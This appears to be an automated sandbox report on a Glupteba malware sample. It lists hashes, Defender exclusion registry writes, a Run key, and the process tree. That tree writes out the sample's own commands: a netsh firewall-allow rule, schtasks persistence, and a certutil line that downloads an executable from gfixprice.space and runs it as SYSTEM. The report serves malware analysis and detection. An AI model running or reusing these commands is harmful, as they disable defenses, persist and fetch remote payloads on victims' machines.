Analysis
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max time kernel
124s -
max time network
133s -
platform
windows7_x64 -
resource
win7-20220414-en -
submitted
20-05-2022 04:44
Static task
static1
Behavioral task
behavioral1
Sample
4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe
Resource
win7-20220414-en
General
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Target
4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe
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Size
3.8MB
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MD5
f84be0cf48b0268b97309c4674ffda5b
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SHA1
a07dd16d722d708b911dea10a2f87c8bdec95413
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SHA256
4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9
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SHA512
f7d73252e284075a3b6b2511ee2663e47b1d2f87099e50e626dd9f501d94fc48c91392b3c5d2890c5f53eb6c9633150c65b8244d5ca702ac5c7da177689dc9ad
Malware Config
Signatures
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Glupteba Payload 4 IoCs
Processes:
resource yara_rule behavioral1/memory/2024-56-0x00000000029C0000-0x00000000030B6000-memory.dmp family_glupteba behavioral1/memory/2024-57-0x0000000000400000-0x0000000000D22000-memory.dmp family_glupteba behavioral1/memory/896-63-0x0000000000400000-0x0000000000D22000-memory.dmp family_glupteba behavioral1/memory/560-74-0x0000000000400000-0x0000000000D22000-memory.dmp family_glupteba -
Executes dropped EXE 3 IoCs
Processes:
csrss.exepatch.exepid process 560 csrss.exe 544 patch.exe 1372 -
Modifies Windows Firewall 1 TTPs
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Loads dropped DLL 11 IoCs
Processes:
4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exepatch.exepid process 896 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe 896 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe 872 544 patch.exe 544 patch.exe 544 patch.exe 544 patch.exe 544 patch.exe 544 patch.exe 544 patch.exe 544 patch.exe -
Processes:
4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\1ad956336ccb = "0" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\WispyFrost = "0" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe = "0" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\1ad956336ccb.exe = "0" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1819626980-2277161760-1023733287-1000\Software\Microsoft\Windows\CurrentVersion\Run\WispyFrost = "\"C:\\Windows\\rss\\csrss.exe\"" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Modifies boot configuration data using bcdedit 1 IoCs
Processes:
bcdedit.exepid process 1700 bcdedit.exe -
Drops file in Windows directory 3 IoCs
Processes:
makecab.exe4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exedescription ioc process File created C:\Windows\Logs\CBS\CbsPersist_20220520052948.cab makecab.exe File opened for modification C:\Windows\rss 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe File created C:\Windows\rss\csrss.exe 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 1912 schtasks.exe 1184 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exenetsh.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-222 = "Alaskan Standard Time" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-842 = "Argentina Standard Time" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-142 = "Canada Central Standard Time" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-292 = "Central European Standard Time" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-341 = "Egypt Daylight Time" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-372 = "Jerusalem Standard Time" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-4 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-551 = "North Asia Daylight Time" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-722 = "Central Pacific Standard Time" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-41 = "E. South America Daylight Time" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-31 = "Mid-Atlantic Daylight Time" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-211 = "Pacific Daylight Time" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-131 = "US Eastern Daylight Time" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-141 = "Canada Central Daylight Time" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-391 = "Arab Daylight Time" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-401 = "Arabic Daylight Time" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-841 = "Argentina Daylight Time" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-12 = "Azores Standard Time" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-291 = "Central European Daylight Time" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-732 = "Fiji Standard Time" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-261 = "GMT Daylight Time" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-103 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-772 = "Montevideo Standard Time" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-892 = "Morocco Standard Time" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-215 = "Pacific Standard Time (Mexico)" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-214 = "Pacific Daylight Time (Mexico)" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-334 = "Jordan Daylight Time" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-105 = "Central Brazilian Standard Time" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-891 = "Morocco Daylight Time" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-191 = "Mountain Daylight Time" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-602 = "Taipei Standard Time" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-511 = "Central Asia Daylight Time" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-103 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-252 = "Dateline Standard Time" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-112 = "Eastern Standard Time" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-791 = "SA Western Daylight Time" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-102 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-441 = "Arabian Daylight Time" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-151 = "Central America Daylight Time" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-251 = "Dateline Daylight Time" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-51 = "Greenland Daylight Time" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-272 = "Greenwich Standard Time" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-521 = "N. Central Asia Daylight Time" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-1 = "IPsec Relying Party" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-472 = "Ekaterinburg Standard Time" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-32 = "Mid-Atlantic Standard Time" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-771 = "Montevideo Daylight Time" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-632 = "Tokyo Standard Time" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-931 = "Coordinated Universal Time" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-11 = "Azores Daylight Time" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-462 = "Afghanistan Standard Time" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-982 = "Kamchatka Standard Time" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-385 = "Namibia Standard Time" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-301 = "Romance Daylight Time" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-792 = "SA Western Standard Time" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-382 = "South Africa Standard Time" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-3 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-371 = "Jerusalem Daylight Time" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-501 = "Nepal Daylight Time" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-581 = "North Asia East Daylight Time" 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-101 = "Provides Network Access Protection enforcement for EAP authenticated network connections, such as those used with 802.1X and VPN technologies." netsh.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.execsrss.exepid process 2024 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe 896 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe 560 csrss.exe 560 csrss.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.execsrss.exedescription pid process Token: SeDebugPrivilege 2024 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Token: SeImpersonatePrivilege 2024 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe Token: SeSystemEnvironmentPrivilege 560 csrss.exe -
Suspicious use of WriteProcessMemory 15 IoCs
Processes:
4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.execmd.execsrss.exedescription pid process target process PID 896 wrote to memory of 1512 896 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe cmd.exe PID 896 wrote to memory of 1512 896 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe cmd.exe PID 896 wrote to memory of 1512 896 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe cmd.exe PID 896 wrote to memory of 1512 896 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe cmd.exe PID 1512 wrote to memory of 2032 1512 cmd.exe netsh.exe PID 1512 wrote to memory of 2032 1512 cmd.exe netsh.exe PID 1512 wrote to memory of 2032 1512 cmd.exe netsh.exe PID 896 wrote to memory of 560 896 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe csrss.exe PID 896 wrote to memory of 560 896 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe csrss.exe PID 896 wrote to memory of 560 896 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe csrss.exe PID 896 wrote to memory of 560 896 4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe csrss.exe PID 560 wrote to memory of 1700 560 csrss.exe bcdedit.exe PID 560 wrote to memory of 1700 560 csrss.exe bcdedit.exe PID 560 wrote to memory of 1700 560 csrss.exe bcdedit.exe PID 560 wrote to memory of 1700 560 csrss.exe bcdedit.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe"C:\Users\Admin\AppData\Local\Temp\4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe"C:\Users\Admin\AppData\Local\Temp\4174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9.exe"2⤵
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\1ad956336ccb\1ad956336ccb.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\1ad956336ccb\1ad956336ccb.exe" enable=yes4⤵
- Modifies data under HKEY_USERS
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C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
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C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://gfixprice.space/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
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C:\Windows\system32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v4⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\makecab.exe"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20220520052948.log C:\Windows\Logs\CBS\CbsPersist_20220520052948.cab1⤵
- Drops file in Windows directory
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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C:\Windows\rss\csrss.exeFilesize
3.8MB
MD5f84be0cf48b0268b97309c4674ffda5b
SHA1a07dd16d722d708b911dea10a2f87c8bdec95413
SHA2564174981d045856288cdc30c6df35d15ff4a48fa77563bb4c2683399feed8bec9
SHA512f7d73252e284075a3b6b2511ee2663e47b1d2f87099e50e626dd9f501d94fc48c91392b3c5d2890c5f53eb6c9633150c65b8244d5ca702ac5c7da177689dc9ad
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\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
